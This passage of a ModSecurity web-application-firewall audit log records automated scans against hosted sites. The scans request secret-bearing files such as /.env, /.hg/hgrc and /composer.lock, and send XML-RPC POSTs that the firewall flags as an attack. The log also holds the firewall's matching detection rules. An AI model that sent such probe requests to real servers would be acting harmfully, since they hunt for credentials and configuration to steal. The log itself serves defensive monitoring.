(CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9ZJsalTF-TysO2fMOF5QAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030630991528 935154 (- - -) Stopwatch2: 1750030630991528 935154; combined=2329, p1=368, p2=1557, p3=41, p4=62, p5=190, sr=101, sw=111, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a75d2311-Z-- --c26daf15-A-- [16/Jun/2025:05:07:17.881449 +0530] aE9ZLX87s8ehggCfEuazVQAAAAQ 185.177.72.210 35466 127.0.0.1 7081 --c26daf15-B-- GET /:8880/app/configurationtion/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c26daf15-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ca2076ef21cb6e1cf83ffdce5c9d73411750030637; expires=Mon, 16 Jun 2025 00:37:17 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c26daf15-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/app/configurationtion/.env"] [unique_id "aE9ZLX87s8ehggCfEuazVQAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030637230166 651346 (- - -) Stopwatch2: 1750030637230166 651346; combined=2110, p1=429, p2=1590, p3=0, p4=0, p5=90, sr=98, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c26daf15-Z-- --b1f2b879-A-- [16/Jun/2025:05:07:24.154927 +0530] aE9ZM7V9qKUox3X8g1YqvAAAAAg 185.177.72.210 32846 127.0.0.1 7081 --b1f2b879-B-- GET /:10000/.env.development HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b1f2b879-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c9271ea60aef6b827302c7db98e0164b1750030643; expires=Mon, 16 Jun 2025 00:37:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b1f2b879-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/.env.development"] [unique_id "aE9ZM7V9qKUox3X8g1YqvAAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030643453192 701796 (- - -) Stopwatch2: 1750030643453192 701796; combined=1886, p1=397, p2=1397, p3=0, p4=0, p5=91, sr=110, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b1f2b879-Z-- --4ded5d3b-A-- [16/Jun/2025:05:07:41.851732 +0530] aE9ZRX87s8ehggCfEuazaAAAAAQ 185.177.72.210 32770 127.0.0.1 7081 --4ded5d3b-B-- GET /.hg/ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4ded5d3b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=096387d27dc531c8154f383225bf3f601750030661; expires=Mon, 16 Jun 2025 00:37:41 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4ded5d3b-H-- Message: Warning. Matched phrase "/.hg/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.hg/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.hg/"] [unique_id "aE9ZRX87s8ehggCfEuazaAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030661185701 666104 (- - -) Stopwatch2: 1750030661185701 666104; combined=1536, p1=352, p2=1100, p3=0, p4=0, p5=83, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4ded5d3b-Z-- --449d7711-A-- [16/Jun/2025:05:07:54.965839 +0530] aE9ZUlu-mTBjBTNx-ySJFwAAAAk 185.177.72.210 46652 127.0.0.1 7081 --449d7711-B-- GET /core/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --449d7711-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=af1408ebd1442a79428001dc67e884e11750030674; expires=Mon, 16 Jun 2025 00:37:54 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --449d7711-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/core/.env"] [unique_id "aE9ZUlu-mTBjBTNx-ySJFwAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030674315267 650648 (- - -) Stopwatch2: 1750030674315267 650648; combined=1855, p1=363, p2=1387, p3=0, p4=0, p5=105, sr=86, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --449d7711-Z-- --8f37ab62-A-- [16/Jun/2025:05:07:57.970425 +0530] aE9ZVbV9qKUox3X8g1Yq0wAAAAg 185.177.72.210 46782 127.0.0.1 7081 --8f37ab62-B-- GET /:5000/tmp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8f37ab62-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d5b8439cb166e47f9de14ecd94a868cc1750030677; expires=Mon, 16 Jun 2025 00:37:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8f37ab62-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/tmp/.env"] [unique_id "aE9ZVbV9qKUox3X8g1Yq0wAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030677262758 707781 (- - -) Stopwatch2: 1750030677262758 707781; combined=2089, p1=444, p2=1528, p3=0, p4=0, p5=117, sr=102, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8f37ab62-Z-- --de10671f-A-- [16/Jun/2025:05:07:59.025609 +0530] aE9ZVlxTdrwJSUMoZvG4qAAAAAc 185.177.72.210 46816 127.0.0.1 7081 --de10671f-B-- GET /examples/06-base-service/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --de10671f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=44ec9384404ffc4d9f22c3f1755694e31750030678; expires=Mon, 16 Jun 2025 00:37:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --de10671f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/examples/06-base-service/.env"] [unique_id "aE9ZVlxTdrwJSUMoZvG4qAAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030678291884 733787 (- - -) Stopwatch2: 1750030678291884 733787; combined=1881, p1=368, p2=1416, p3=0, p4=0, p5=96, sr=96, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --de10671f-Z-- --40036860-A-- [16/Jun/2025:05:08:11.372476 +0530] aE9ZYlu-mTBjBTNx-ySJHgAAAAk 128.199.112.101 45056 127.0.0.1 7081 --40036860-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --40036860-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --40036860-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9ZYlu-mTBjBTNx-ySJHgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030690420543 952008 (- - -) Stopwatch2: 1750030690420543 952008; combined=2868, p1=533, p2=1889, p3=34, p4=53, p5=220, sr=135, sw=139, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --40036860-Z-- --02f22f44-A-- [16/Jun/2025:05:08:24.712383 +0530] aE9ZcGM0Xdzjsxbr1PzvEwAAAAY 185.177.72.210 53992 127.0.0.1 7081 --02f22f44-B-- GET /:8000/temp/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --02f22f44-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1d047b3b74aee9315d76f573522946981750030704; expires=Mon, 16 Jun 2025 00:38:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --02f22f44-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/temp/.env"] [unique_id "aE9ZcGM0Xdzjsxbr1PzvEwAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030704036977 675497 (- - -) Stopwatch2: 1750030704036977 675497; combined=1818, p1=351, p2=1367, p3=0, p4=0, p5=100, sr=83, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --02f22f44-Z-- --8340c855-A-- [16/Jun/2025:05:08:27.502732 +0530] aE9ZcpbumDYPKpRD2ekt5AAAAAA 185.177.72.210 54178 127.0.0.1 7081 --8340c855-B-- GET /.hg/hgrc HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --8340c855-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0efb6ed6b1ffd909629504ea6a47abbd1750030707; expires=Mon, 16 Jun 2025 00:38:27 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --8340c855-H-- Message: Warning. Matched phrase "/.hg/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.hg/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.hg/hgrc"] [unique_id "aE9ZcpbumDYPKpRD2ekt5AAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030706815143 687658 (- - -) Stopwatch2: 1750030706815143 687658; combined=1872, p1=357, p2=1416, p3=0, p4=0, p5=98, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --8340c855-Z-- --cf09f850-A-- [16/Jun/2025:05:08:28.515754 +0530] aE9Zc8alTF-TysO2fMOGHgAAAAE 185.177.72.210 54214 127.0.0.1 7081 --cf09f850-B-- GET /:8000/.env_1 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --cf09f850-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=4c9391d837ed198c5b410a497c8287301750030708; expires=Mon, 16 Jun 2025 00:38:28 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --cf09f850-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/.env_1"] [unique_id "aE9Zc8alTF-TysO2fMOGHgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030707824764 691065 (- - -) Stopwatch2: 1750030707824764 691065; combined=1621, p1=353, p2=1182, p3=0, p4=0, p5=85, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cf09f850-Z-- --0821af15-A-- [16/Jun/2025:05:08:44.006856 +0530] aE9Zg0oyC4_VyyL7sS6PnAAAAAI 185.177.72.210 48754 127.0.0.1 7081 --0821af15-B-- GET /_novo/composer.lock HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0821af15-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=300e6e9bbc2dcbb7ad365db6577174371750030723; expires=Mon, 16 Jun 2025 00:38:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0821af15-H-- Message: Warning. Matched phrase "/composer.lock" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/composer.lock" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/_novo/composer.lock"] [unique_id "aE9Zg0oyC4_VyyL7sS6PnAAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030723358770 648149 (- - -) Stopwatch2: 1750030723358770 648149; combined=1412, p1=284, p2=957, p3=0, p4=0, p5=170, sr=72, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0821af15-Z-- --bdca3e5f-A-- [16/Jun/2025:05:08:46.709647 +0530] aE9ZhqpdvXW4_hknQUUuzQAAAAo 185.177.72.210 48888 127.0.0.1 7081 --bdca3e5f-B-- GET /:8008/tests/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --bdca3e5f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=681a4e29ac31a6999a52a70820b38a6d1750030726; expires=Mon, 16 Jun 2025 00:38:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --bdca3e5f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/tests/.env"] [unique_id "aE9ZhqpdvXW4_hknQUUuzQAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030726032947 676764 (- - -) Stopwatch2: 1750030726032947 676764; combined=1829, p1=382, p2=1346, p3=0, p4=0, p5=101, sr=96, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bdca3e5f-Z-- --ac17087e-A-- [16/Jun/2025:05:08:58.416967 +0530] aE9ZkX87s8ehggCfEuazkQAAAAQ 185.177.72.210 46156 127.0.0.1 7081 --ac17087e-B-- GET /:8181/pub/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ac17087e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=49035070c34daa79e5ada0ee90507a931750030738; expires=Mon, 16 Jun 2025 00:38:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ac17087e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/pub/.env"] [unique_id "aE9ZkX87s8ehggCfEuazkQAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030737772652 644396 (- - -) Stopwatch2: 1750030737772652 644396; combined=1907, p1=376, p2=1428, p3=0, p4=0, p5=102, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ac17087e-Z-- --c9cdb806-A-- [16/Jun/2025:05:09:05.845605 +0530] aE9ZmapdvXW4_hknQUUu1wAAAAo 185.177.72.210 48396 127.0.0.1 7081 --c9cdb806-B-- GET /:5601/front-app/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c9cdb806-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: 